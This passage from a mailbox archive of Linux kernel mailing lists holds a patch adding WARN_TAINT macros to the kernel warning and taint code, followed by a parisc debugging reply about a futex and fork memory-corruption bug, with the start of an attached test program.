>>   arch/arm/mach-shark/leds.c                   |    2 +-
>>   arch/blackfin/kernel/bfin_gpio.c             |    2 +-
>>   arch/blackfin/mach-common/pm.c               |    2 +-
>>   arch/cris/arch-v10/kernel/debugport.c        |    2 +-
>>   arch/cris/arch-v10/kernel/fasttimer.c        |    2 +-
>>   arch/cris/arch-v10/mm/init.c                 |    2 +-
>>   arch/cris/arch-v32/kernel/fasttimer.c        |    2 +-
>>   arch/cris/arch-v32/kernel/pinmux.c           |    2 +-
>>   arch/cris/arch-v32/kernel/signal.c           |    2 +-
>>   arch/cris/arch-v32/mach-a3/io.c              |    2 +-
>>   arch/cris/arch-v32/mach-a3/pinmux.c          |    2 +-
>>   arch/cris/arch-v32/mach-fs/io.c              |    2 +-
>>   arch/cris/arch-v32/mach-fs/pinmux.c          |    2 +-
>>   arch/cris/kernel/profile.c                   |    2 +-
>>   arch/cris/kernel/time.c                      |    2 +-
>>   arch/cris/kernel/traps.c                     |    2 +-
>>   arch/frv/kernel/gdb-stub.c                   |    2 +-
>>   arch/frv/kernel/pm-mb93093.c                 |    2 +-
>>   arch/frv/kernel/pm.c                         |    2 +-
>>   arch/frv/kernel/sysctl.c                     |    2 +-
>>   arch/h8300/kernel/gpio.c                     |    2 +-
>>   arch/ia64/hp/sim/simeth.c                    |    2 +-
>>   arch/ia64/hp/sim/simserial.c                 |    2 +-
>>   arch/ia64/kernel/audit.c                     |    2 +-
>>   arch/ia64/kernel/crash.c                     |    2 +-
>>   arch/ia64/kernel/cyclone.c                   |    2 +-
>>   arch/ia64/kernel/perfmon.c                   |    2 +-
>>   arch/ia64/kernel/setup.c                     |    2 +-
>>   arch/ia64/kernel/uncached.c                  |    2 +-
>>   arch/ia64/kernel/unwind.c                    |    2 +-
>>   arch/ia64/mm/init.c                          |    2 +-
>>   arch/mips/Makefile                           |    2 +-
>>   arch/mips/kernel/unaligned.c                 |    2 +-
>>   arch/mips/lasat/sysctl.c                     |    2 +-
>>   arch/mips/math-emu/cp1emu.c                  |    2 +-
>>   arch/mips/nxp/pnx8550/common/proc.c          |    2 +-
>>   arch/mips/sibyte/sb1250/bus_watcher.c        |    2 +-
>>   arch/mn10300/kernel/gdb-stub.c               |    2 +-
>>   arch/mn10300/kernel/mn10300-serial.c         |    2 +-
>>   arch/mn10300/kernel/profile.c                |    2 +-
>>   arch/parisc/kernel/pci-dma.c                 |    2 +-
>>   arch/parisc/kernel/pdc_chassis.c             |    2 +-
>>   arch/powerpc/kernel/audit.c                  |    2 +-
>>   arch/powerpc/kernel/idle.c                   |    2 +-
>>   arch/powerpc/kernel/irq.c                    |    2 +-
>>   arch/powerpc/kernel/proc_powerpc.c           |    2 +-
>>   arch/powerpc/kernel/prom.c                   |    4 ++--
>>   arch/powerpc/kernel/rtas-proc.c              |    2 +-
>>   arch/powerpc/kernel/rtasd.c                  |    2 +-
>>   arch/powerpc/kernel/sysfs.c                  |    2 +-
>>   arch/powerpc/kernel/tau_6xx.c                |    2 +-
>>   arch/powerpc/kernel/vio.c                    |    2 +-
>>   arch/powerpc/platforms/iseries/lpevents.c    |    2 +-
>>   arch/powerpc/platforms/iseries/mf.c          |    2 +-
>>   arch/powerpc/platforms/iseries/proc.c        |    2 +-
>>   arch/powerpc/platforms/iseries/viopath.c     |    2 +-
>>   arch/powerpc/platforms/pseries/eeh.c         |    2 +-
>>   arch/powerpc/platforms/pseries/hvCall_inst.c |    2 +-
>>   arch/powerpc/platforms/pseries/power.c       |    2 +-
>>   arch/powerpc/platforms/pseries/ras.c         |    2 +-
>>   arch/powerpc/platforms/pseries/reconfig.c    |    2 +-
>>   arch/powerpc/xmon/xmon.c                     |    2 +-
>>   arch/s390/appldata/appldata_base.c           |    2 +-
>>   arch/s390/kernel/audit.c                     |    2 +-
>>   arch/s390/kernel/compat_exec_domain.c        |    2 +-
>>   arch/s390/kernel/ipl.c                       |    2 +-
>>   arch/s390/kernel/topology.c                  |    2 +-
>>   arch/sh/boards/board-edosk7760.c             |    2 +-
>>   arch/sh/boards/board-sh7785lcr.c             |    2 +-
>>   arch/sh/boards/mach-cayman/setup.c           |    2 +-
>>   arch/sh/boards/mach-landisk/setup.c          |    2 +-
>>   arch/sh/boards/mach-r2d/setup.c              |    2 +-
>>   arch/sh/boards/mach-sdk7786/setup.c          |    2 +-
>>   arch/sh/boards/mach-se/7206/setup.c          |    2 +-
>>   arch/sh/boards/mach-se/7751/setup.c          |    2 +-
>>   arch/sh/boards/mach-sh03/setup.c             |    2 +-
>>   arch/sh/kernel/traps_64.c                    |    2 +-
>>   arch/sparc/kernel/apc.c                      |    2 +-
>>   arch/sparc/kernel/audit.c                    |    2 +-
>>   arch/sparc/kernel/mdesc.c                    |    2 +-
>>   arch/sparc/kernel/pmc.c                      |    2 +-
>>   arch/um/drivers/mconsole_kern.c              |    8 ++++----
>>   arch/um/drivers/net_kern.c                   |    2 +-
>>   arch/um/drivers/stderr_console.c             |    2 +-
>>   arch/um/drivers/ubd_kern.c                   |    4 ++--
>>   arch/um/kernel/exitcode.c                    |    2 +-
>>   arch/um/kernel/physmem.c                     |    2 +-
>>   arch/um/os-Linux/aio.c                       |    4 ++--
>>   arch/um/os-Linux/skas/mem.c                  |    2 +-
>>   arch/um/os-Linux/skas/process.c              |    2 +-
>>   arch/um/os-Linux/umid.c                      |    2 +-
>>   arch/um/sys-i386/tls.c                       |    2 +-
>>   arch/x86/kernel/audit_64.c                   |    2 +-
>>   arch/x86/kernel/tlb_uv.c                     |    4 ++--
>>   arch/x86/kernel/vsyscall_64.c                |    4 ++--
>>   arch/x86/mm/dump_pagetables.c                |    2 +-
>>   arch/x86/vdso/vdso32-setup.c                 |    4 ++--
>>   arch/x86/vdso/vma.c                          |    2 +-
>>   arch/xtensa/platforms/iss/console.c          |    2 +-
>>   drivers/net/arm/am79c961a.c                  |    2 +-
>>   drivers/net/hamradio/baycom_epp.c            |    1 +
>>   drivers/net/hamradio/baycom_par.c            |    1 +
>>   drivers/net/hamradio/baycom_ser_fdx.c        |    1 +
>>   drivers/net/hamradio/baycom_ser_hdx.c        |    1 +
>>   drivers/s390/char/sclp_cmd.c                 |    2 +-
>>   drivers/s390/char/sclp_config.c              |    2 +-
>>   drivers/s390/char/sclp_cpi_sys.c             |    2 +-
>>   drivers/s390/char/sclp_vt220.c               |    2 +-
>>   drivers/s390/cio/blacklist.c                 |    2 +-
>>   drivers/staging/rtl8192u/ieee80211/api.c     |    2 +-
>>   fs/aio.c                                     |    2 +-
>>   fs/compat_ioctl.c                            |    2 +-
>>   ipc/ipc_sysctl.c                             |    2 +-
>>   ipc/mqueue.c                                 |    2 +-
>>   ipc/util.c                                   |    2 +-
>>   kernel/audit.c                               |    2 +-
>>   kernel/audit_tree.c                          |    2 +-
>>   kernel/dma.c                                 |    2 +-
>>   kernel/futex.c                               |    2 +-
>>   kernel/lockdep_proc.c                        |    2 +-
>>   kernel/pid_namespace.c                       |    2 +-
>>   kernel/posix-cpu-timers.c                    |    2 +-
>>   kernel/posix-timers.c                        |    2 +-
>>   kernel/resource.c                            |    2 +-
>>   kernel/sched_debug.c                         |    2 +-
>>   kernel/time/timer_list.c                     |    2 +-
>>   kernel/time/timer_stats.c                    |    2 +-
>>   kernel/tracepoint.c                          |    2 +-
>>   kernel/utsname_sysctl.c                      |    2 +-
>>   lib/audit.c                                  |    2 +-
>>   lib/debugobjects.c                           |    2 +-
>>   mm/bounce.c                                  |    2 +-
>>   mm/memory.c                                  |    2 +-
>>   mm/mm_init.c                                 |    2 +-
>>   mm/slab.c                                    |    2 +-
>>   mm/slub.c                                    |    2 +-
>>   mm/swapfile.c                                |    2 +-
>>   net/ipv4/syncookies.c                        |    2 +-
>>   net/ipv4/sysctl_net_ipv4.c                   |    2 +-
>>   security/keys/proc.c                         |    2 +-
>>   security/selinux/hooks.c                     |    2 +-
>>   security/selinux/netif.c                     |    2 +-
>>   security/selinux/netlink.c                   |    2 +-
>>   security/selinux/netnode.c                   |    2 +-
>>   security/selinux/netport.c                   |    2 +-
>>   security/selinux/selinuxfs.c                 |    2 +-
>>   security/selinux/ss/services.c               |    2 +-
>>   security/smack/smackfs.c                     |    2 +-
>>   sound/last.c                                 |    2 +-
>>   166 files changed, 176 insertions(+), 172 deletions(-)
>
>




From - Thu Nov 08 21:05:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Hutchings <ben@decadent.org.uk>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel
Subject: [PATCH 2/4] panic: Allow taint flag for warnings to be changed
 from TAINT_WARN
Date: Sat, 20 Mar 2010 23:05:40 +0000
Lines: 332
Approved: news@gmane.org
Message-ID: <1269126340.18314.115.camel@localhost>
References: <1269126097.18314.111.camel@localhost>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-oxeb4NvHNjpzIl0POm0M"
X-Trace: dough.gmane.org 1269126386 1587 80.91.229.12 (20 Mar 2010 23:06:26 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 20 Mar 2010 23:06:26 +0000 (UTC)
Cc: David Woodhouse <dwmw2@infradead.org>, linux-pci@vger.kernel.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>
Original-X-From: linux-pci-owner@vger.kernel.org Sun Mar 21 00:06:18 2010
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1Nt7kC-0007hZ-L4
	for glp-linux-pci@lo.gmane.org; Sun, 21 Mar 2010 00:06:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752615Ab0CTXFz (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Sat, 20 Mar 2010 19:05:55 -0400
Original-Received: from shadbolt.e.decadent.org.uk ([88.96.1.126]:57732 "EHLO
	shadbolt.e.decadent.org.uk" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752612Ab0CTXFx (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Sat, 20 Mar 2010 19:05:53 -0400
Original-Received: from deadeye.i.decadent.org.uk ([192.168.4.185] helo=localhost)
	by shadbolt.decadent.org.uk with esmtps (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <ben@decadent.org.uk>)
	id 1Nt7jh-0006ac-8O; Sat, 20 Mar 2010 23:05:42 +0000
Original-Received: from ben by localhost with local (Exim 4.71)
	(envelope-from <ben@decadent.org.uk>)
	id 1Nt7jg-0004PM-7d; Sat, 20 Mar 2010 23:05:40 +0000
In-Reply-To: <1269126097.18314.111.camel@localhost>
X-Mailer: Evolution 2.28.3 
X-SA-Exim-Connect-IP: 192.168.4.185
X-SA-Exim-Mail-From: ben@decadent.org.uk
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	shadbolt.decadent.org.uk
X-Spam-Level: 
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED
	autolearn=disabled version=3.2.5
X-SA-Exim-Version: 4.2.1 (built Wed, 25 Jun 2008 17:14:11 +0000)
X-SA-Exim-Scanned: Yes (on shadbolt.decadent.org.uk)
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:8162 gmane.linux.kernel:964041 gmane.linux.ports.parisc:2692 gmane.linux.ports.ppc64.devel:65444 gmane.linux.ports.sh.devel:7674
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2692>


--=-oxeb4NvHNjpzIl0POm0M
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

WARN() is used in some places to report firmware or hardware bugs that
are then worked-around.  These bugs do not affect the stability of the
kernel and should not set the usual TAINT_WARN flag.  To allow for
this, add WARN_TAINT() and WARN_TAINT_ONCE() macros that take a taint
flag as argument.

Architectures that implement warnings using trap instructions instead
of calls to warn_slowpath_*() must now implement __WARN_TAINT(taint)
instead of __WARN().

Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
---
The architecture-specific changes here are untested and need to be
reviewed by architecture maintainers.

Ben.

 arch/parisc/include/asm/bug.h  |    8 ++++----
 arch/powerpc/include/asm/bug.h |    6 +++---
 arch/s390/include/asm/bug.h    |    8 ++++----
 arch/sh/include/asm/bug.h      |    4 ++--
 include/asm-generic/bug.h      |   34 ++++++++++++++++++++++++++++++++--
 kernel/panic.c                 |   24 ++++++++++++++++++++----
 lib/bug.c                      |    2 +-
 7 files changed, 66 insertions(+), 20 deletions(-)

diff --git a/arch/parisc/include/asm/bug.h b/arch/parisc/include/asm/bug.h
index 75e46c5..72cfdb0 100644
--- a/arch/parisc/include/asm/bug.h
+++ b/arch/parisc/include/asm/bug.h
@@ -44,7 +44,7 @@
 #endif
=20
 #ifdef CONFIG_DEBUG_BUGVERBOSE
-#define __WARN()							\
+#define __WARN_TAINT(taint)						\
 	do {								\
 		asm volatile("\n"					\
 			     "1:\t" PARISC_BUG_BREAK_ASM "\n"		\
@@ -54,11 +54,11 @@
 			     "\t.org 2b+%c3\n"				\
 			     "\t.popsection"				\
 			     : : "i" (__FILE__), "i" (__LINE__),	\
-			     "i" (BUGFLAG_WARNING),			\
+			     "i" (BUGFLAG_TAINT(taint)), 		\
 			     "i" (sizeof(struct bug_entry)) );		\
 	} while(0)
 #else
-#define __WARN()							\
+#define __WARN_TAINT(taint)						\
 	do {								\
 		asm volatile("\n"					\
 			     "1:\t" PARISC_BUG_BREAK_ASM "\n"		\
@@ -67,7 +67,7 @@
 			     "\t.short %c0\n"				\
 			     "\t.org 2b+%c1\n"				\
 			     "\t.popsection"				\
-			     : : "i" (BUGFLAG_WARNING),			\
+			     : : "i" (BUGFLAG_TAINT(taint)),		\
 			     "i" (sizeof(struct bug_entry)) );		\
 	} while(0)
 #endif
diff --git a/arch/powerpc/include/asm/bug.h b/arch/powerpc/include/asm/bug.=
h
index 2c15212..065c590 100644
--- a/arch/powerpc/include/asm/bug.h
+++ b/arch/powerpc/include/asm/bug.h
@@ -85,12 +85,12 @@
 	}							\
 } while (0)
=20
-#define __WARN() do {						\
+#define __WARN_TAINT(taint) do {				\
 	__asm__ __volatile__(					\
 		"1:	twi 31,0,0\n"				\
 		_EMIT_BUG_ENTRY					\
 		: : "i" (__FILE__), "i" (__LINE__),		\
-		  "i" (BUGFLAG_WARNING),			\
+		  "i" (BUGFLAG_TAINT(taint)),			\
 		  "i" (sizeof(struct bug_entry)));		\
 } while (0)
=20
@@ -104,7 +104,7 @@
 		"1:	"PPC_TLNEI"	%4,0\n"			\
 		_EMIT_BUG_ENTRY					\
 		: : "i" (__FILE__), "i" (__LINE__),		\
-		  "i" (BUGFLAG_WARNING),			\
+		  "i" (BUGFLAG_TAINT(TAINT_WARN)),		\
 		  "i" (sizeof(struct bug_entry)),		\
 		  "r" (__ret_warn_on));				\
 	}							\
diff --git a/arch/s390/include/asm/bug.h b/arch/s390/include/asm/bug.h
index 9beeb9d..bf90d1f 100644
--- a/arch/s390/include/asm/bug.h
+++ b/arch/s390/include/asm/bug.h
@@ -46,18 +46,18 @@
 	unreachable();					\
 } while (0)
=20
-#define __WARN() do {					\
-	__EMIT_BUG(BUGFLAG_WARNING);			\
+#define __WARN_TAINT(taint) do {			\
+	__EMIT_BUG(BUGFLAG_TAINT(taint));		\
 } while (0)
=20
 #define WARN_ON(x) ({					\
 	int __ret_warn_on =3D !!(x);			\
 	if (__builtin_constant_p(__ret_warn_on)) {	\
 		if (__ret_warn_on)			\
-			__EMIT_BUG(BUGFLAG_WARNING);	\
+			__WARN();			\
 	} else {					\
 		if (unlikely(__ret_warn_on))		\
-			__EMIT_BUG(BUGFLAG_WARNING);	\
+			__WARN();			\
 	}						\
 	unlikely(__ret_warn_on);			\
 })
diff --git a/arch/sh/include/asm/bug.h b/arch/sh/include/asm/bug.h
index d02c01b..6323f86 100644
--- a/arch/sh/include/asm/bug.h
+++ b/arch/sh/include/asm/bug.h
@@ -48,7 +48,7 @@ do {							\
 		   "i" (sizeof(struct bug_entry)));	\
 } while (0)
=20
-#define __WARN()					\
+#define __WARN_TAINT(taint)				\
 do {							\
 	__asm__ __volatile__ (				\
 		"1:\t.short %O0\n"			\
@@ -57,7 +57,7 @@ do {							\
 		 : "n" (TRAPA_BUG_OPCODE),		\
 		   "i" (__FILE__),			\
 		   "i" (__LINE__),			\
-		   "i" (BUGFLAG_WARNING),		\
+		   "i" (BUGFLAG_TAINT(taint)),		\
 		   "i" (sizeof(struct bug_entry)));	\
 } while (0)
=20
diff --git a/include/asm-generic/bug.h b/include/asm-generic/bug.h
index 18c435d..c2c9ba0 100644
--- a/include/asm-generic/bug.h
+++ b/include/asm-generic/bug.h
@@ -25,7 +25,10 @@ struct bug_entry {
 };
 #endif		/* __ASSEMBLY__ */
=20
-#define BUGFLAG_WARNING	(1<<0)
+#define BUGFLAG_WARNING		(1 << 0)
+#define BUGFLAG_TAINT(taint)	(BUGFLAG_WARNING | ((taint) << 8))
+#define BUG_GET_TAINT(bug)	((bug)->flags >> 8)
+
 #endif	/* CONFIG_GENERIC_BUG */
=20
 /*
@@ -56,17 +59,25 @@ struct bug_entry {
  * appear at runtime.  Use the versions with printk format strings
  * to provide better diagnostics.
  */
-#ifndef __WARN
+#ifndef __WARN_TAINT
 #ifndef __ASSEMBLY__
 extern void warn_slowpath_fmt(const char *file, const int line,
 		const char *fmt, ...) __attribute__((format(printf, 3, 4)));
+extern void warn_slowpath_fmt_taint(const char *file, const int line,
+				    unsigned taint, const char *fmt, ...)
+	__attribute__((format(printf, 4, 5)));
 extern void warn_slowpath_null(const char *file, const int line);
 #define WANT_WARN_ON_SLOWPATH
 #endif
 #define __WARN()		warn_slowpath_null(__FILE__, __LINE__)
 #define __WARN_printf(arg...)	warn_slowpath_fmt(__FILE__, __LINE__, arg)
+#define __WARN_printf_taint(taint, arg...)				\
+	warn_slowpath_fmt_taint(__FILE__, __LINE__, taint, arg)
 #else
+#define __WARN()		__WARN_TAINT(TAINT_WARN)
 #define __WARN_printf(arg...)	do { printk(arg); __WARN(); } while (0)
+#define __WARN_printf_taint(taint, arg...)				\
+	do { printk(arg); __WARN_TAINT(taint); } while (0)
 #endif
=20
 #ifndef WARN_ON
@@ -87,6 +98,13 @@ extern void warn_slowpath_null(const char *file, const i=
nt line);
 })
 #endif
=20
+#define WARN_TAINT(condition, taint, format...) ({			\
+	int __ret_warn_on =3D !!(condition);				\
+	if (unlikely(__ret_warn_on))					\
+		__WARN_printf_taint(taint, format);			\
+	unlikely(__ret_warn_on);					\
+})
+
 #else /* !CONFIG_BUG */
 #ifndef HAVE_ARCH_BUG
 #define BUG() do {} while(0)
@@ -110,6 +128,8 @@ extern void warn_slowpath_null(const char *file, const =
int line);
 })
 #endif
=20
+#define WARN_TAINT(condition, taint, format...) WARN_ON(condition)
+
 #endif
=20
 #define WARN_ON_ONCE(condition)	({				\
@@ -132,6 +152,16 @@ extern void warn_slowpath_null(const char *file, const=
 int line);
 	unlikely(__ret_warn_once);				\
 })
=20
+#define WARN_TAINT_ONCE(condition, taint, format...)	({	\
+	static bool __warned;					\
+	int __ret_warn_once =3D !!(condition);			\
+								\
+	if (unlikely(__ret_warn_once))				\
+		if (WARN_TAINT(!__warned, taint, format))	\
+			__warned =3D true;			\
+	unlikely(__ret_warn_once);				\
+})
+
 #define WARN_ON_RATELIMIT(condition, state)			\
 		WARN_ON((condition) && __ratelimit(state))
=20
diff --git a/kernel/panic.c b/kernel/panic.c
index 13d966b..8b821bc 100644
--- a/kernel/panic.c
+++ b/kernel/panic.c
@@ -365,7 +365,8 @@ struct slowpath_args {
 	va_list args;
 };
=20
-static void warn_slowpath_common(const char *file, int line, void *caller,=
 struct slowpath_args *args)
+static void warn_slowpath_common(const char *file, int line, void *caller,
+				 unsigned taint, struct slowpath_args *args)
 {
 	const char *board;
=20
@@ -381,7 +382,7 @@ static void warn_slowpath_common(const char *file, int =
line, void *caller, struc
 	print_modules();
 	dump_stack();
 	print_oops_end_marker();
-	add_taint(TAINT_WARN);
+	add_taint(taint);
 }
=20
 void warn_slowpath_fmt(const char *file, int line, const char *fmt, ...)
@@ -390,14 +391,29 @@ void warn_slowpath_fmt(const char *file, int line, co=
nst char *fmt, ...)
=20
 	args.fmt =3D fmt;
 	va_start(args.args, fmt);
-	warn_slowpath_common(file, line, __builtin_return_address(0), &args);
+	warn_slowpath_common(file, line, __builtin_return_address(0),
+			     TAINT_WARN, &args);
 	va_end(args.args);
 }
 EXPORT_SYMBOL(warn_slowpath_fmt);
=20
+void warn_slowpath_fmt_taint(const char *file, int line,
+			     unsigned taint, const char *fmt, ...)
+{
+	struct slowpath_args args;
+
+	args.fmt =3D fmt;
+	va_start(args.args, fmt);
+	warn_slowpath_common(file, line, __builtin_return_address(0),
+			     taint, &args);
+	va_end(args.args);
+}
+EXPORT_SYMBOL(warn_slowpath_fmt_taint);
+
 void warn_slowpath_null(const char *file, int line)
 {
-	warn_slowpath_common(file, line, __builtin_return_address(0), NULL);
+	warn_slowpath_common(file, line, __builtin_return_address(0),
+			     TAINT_WARN, NULL);
 }
 EXPORT_SYMBOL(warn_slowpath_null);
 #endif
diff --git a/lib/bug.c b/lib/bug.c
index 300e41a..f13daf4 100644
--- a/lib/bug.c
+++ b/lib/bug.c
@@ -165,7 +165,7 @@ enum bug_trap_type report_bug(unsigned long bugaddr, st=
ruct pt_regs *regs)
 			       (void *)bugaddr);
=20
 		show_regs(regs);
-		add_taint(TAINT_WARN);
+		add_taint(BUG_GET_TAINT(bug));
 		return BUG_TRAP_TYPE_WARN;
 	}
=20
--=20
1.7.0




--=-oxeb4NvHNjpzIl0POm0M
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iQIVAwUAS6VUwue/yOyVhhEJAQJWrxAAjaQMiaV6XGUrV2kASfy82U3+z9Yyu2ZC
DaIIeQuTln99GUvfatWCxJuLJ/N7iub72+k5UioheHd0F7v3j/YwM7b68UPq4xYM
yZ1Fv7yKhItwEIX9YEgcNvPB/My+RMIi6LgwVQgv7Ey/hF8Pt81lYIYbcWyq5aO0
70Nwjh1YOTFWB7A3+B9rRnsgK9uzoBRk1E3iJHw4I52aisuq7ohHCDOkxpCcwpqm
4G5M+PmICToKp3mlQLG5WNiZ8EQzJ2tkI2NmaKEuLikcD9+h3fsuVgxNVNcfNknG
c6EcIPp3xSmhjWskjaB1+g7vrn2fmT0hNNzrSfoQDFNb8ikIkPqRSzmxpd+QGy4q
UJAQpF0VTjz57MlpAQbDgOicKNkbKbGNPDR9clo6x0bzdcpcXxCPDhr01KVGhyP5
UzckoQVtTyhol+OZWm5wgh4PvWNWfuriT8s1vrXg9Af981o2Kbgg8o8EoE68EKc8
1LoNvQ4WptvIKp+ZqqKKsLyqEWwYiK4RdxSWyG5Eg6hkO/EpP/O2hbz+n5K370E/
GvM30DQuucK593NdR5Y6SMMa9fWOixzmGVmwjdHvITy3RMKseF+msfuHroC9OcUG
poUKjLL19CRhxXHOAcXTTXwmT8EqUirXZx21LPuiyVyasNlGv49JOJ1pDQiFA1qX
EJqfY1uABH0=
=CzPe
-----END PGP SIGNATURE-----

--=-oxeb4NvHNjpzIl0POm0M--

From - Thu Nov 08 21:05:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Sun, 21 Mar 2010 14:19:36 -0400
Organization: nrc.ca
Lines: 132
Approved: news@gmane.org
Message-ID: <20100321181935.GA19525@hiauly1.hia.nrc.ca>
References: <20100307171207.GA22856@hiauly1.hia.nrc.ca> <20100307203230.CAC964E77@hiauly1.hia.nrc.ca> <20100311032049.GA14312@hiauly1.hia.nrc.ca> <20100311135418.GA22698@bombadil.infradead.org> <20100311224044.GA18789@hiauly1.hia.nrc.ca> <20100313020647.GA26384@hiauly1.hia.nrc.ca> <20100315011024.GA7309@hiauly1.hia.nrc.ca> <119aab441003160449n11cf5272qb9d15fa97625dd7d@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="J/dobhs11T7y2rNN"
X-Trace: dough.gmane.org 1269195588 824 80.91.229.12 (21 Mar 2010 18:19:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 21 Mar 2010 18:19:48 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Kyle McMartin <kyle@mcmartin.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 21 19:19:43 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NtPkV-0007Lw-22
	for glpp-linux-parisc@lo.gmane.org; Sun, 21 Mar 2010 19:19:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750859Ab0CUSTk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Mar 2010 14:19:40 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1873 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750799Ab0CUSTj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Mar 2010 14:19:39 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 0903E513F; Sun, 21 Mar 2010 14:19:36 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab441003160449n11cf5272qb9d15fa97625dd7d@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2693
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2693>


--J/dobhs11T7y2rNN
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Tue, 16 Mar 2010, Carlos O'Donell wrote:

> After some of my own testing I think this is all MMU related, but I
> can't prove it yet. I'm pouring through as much kernel code as I can
> right now to determine what is going wrong at the time of the clone,
> and I see at least one bug that I'm investigating regarding return
> addresses.

I've attached another version of the minifail test program.  In
this one, the parent and thread both monitor the location 0x4000001c
in the stack region allocated to the thread.  If a problem is
detected, they drop core with an illegal instruction.  If the
child of the fork sees a nonzero value in the above location
when the fork call returns, it sleeps for ten seconds.

When corruption occurs and core is dropped on my c3750 (UP 32-bit
kernel), both the parent and thread have undergone many iterations
of their respective monitor loops.  The forked child always reports
seeing a nonzero value at the stack location.  The before value
in the core dump was zero (i.e., thread_run had not started).

I added an illegal instruction abort to the child.  In this case,
the thread_run loop counter was 48085 when the page was copied and
the before value was zero.

One thought that has crossed my mind is that the memory pages allocated
for the stack region used by the thread are somehow getting interchanged
between parent and child by the fork operation.  This happens fairly
late as both the parent and thread are executing post fork at the time
this happens.  Possibly, this is part of the bug.

I have looked at entry.S and pacache.S quite a bit and it's not obvious
how this could happen, although I must admit to not fully understanding
the tmp alias code.  I tend to think the bug is in the core mm code.

I see a few cleanups to entry.S.  We didn't kill the misnamed macros
(DEP, DEPI and EXTR) for example.  But I don't think these are the problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--J/dobhs11T7y2rNN
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="minifail12.cpp"

#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>

/*
  http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=561203

  clone(child_stack=0x4088d040, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x4108c4e8, tls=0x4108c900, child_tidptr=0x4108c4e8) = 14819
[pid 14819] set_robust_list(0x4108c4f0, 0xc) = 0
[pid 14818] clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x40002028) = 14820

 g++  minifail.cpp -o minifail -O0 -pthread -g

 i=0; while true; do i=$(($i+1)); echo Run $i; ./minifail; done;

